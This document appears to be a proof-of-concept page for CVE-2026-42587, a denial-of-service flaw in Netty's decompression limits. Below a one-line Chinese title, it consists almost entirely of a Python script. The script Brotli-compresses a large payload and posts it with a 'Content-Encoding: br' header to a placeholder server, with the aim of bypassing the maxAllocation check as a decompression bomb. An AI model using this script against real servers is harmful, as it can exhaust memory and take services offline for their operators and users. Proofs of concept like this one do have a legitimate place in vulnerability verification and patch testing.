CVE-2026-42587 Netty解压缩限制绕过导致DoS漏洞

# Proof of Concept for CVE-2026-42587 # This script demonstrates how a payload with Content-Encoding: br can bypass allocation limits. import requests import brotli target_url = "http://vulnerable-target:8080/upload" # Create a large payload that expands significantly (Decompression Bomb) # In a real scenario, a small compressed size expands to gigabytes of data. large_payload = "A" * 10000000 compressed_payload = brotli.compress(large_payload.encode('utf-8')) headers = { "Content-Encoding": "br", # Using Brotli to bypass the maxAllocation check "Content-Type": "application/octet-stream", "Accept-Encoding": "br" } try: print(f"Sending compressed payload ({len(compressed_payload)} bytes)...") response = requests.post(target_url, data=compressed_payload, headers=headers) print(f"Response Status: {response.status_code}") except Exception as e: print(f"Request failed: {e}")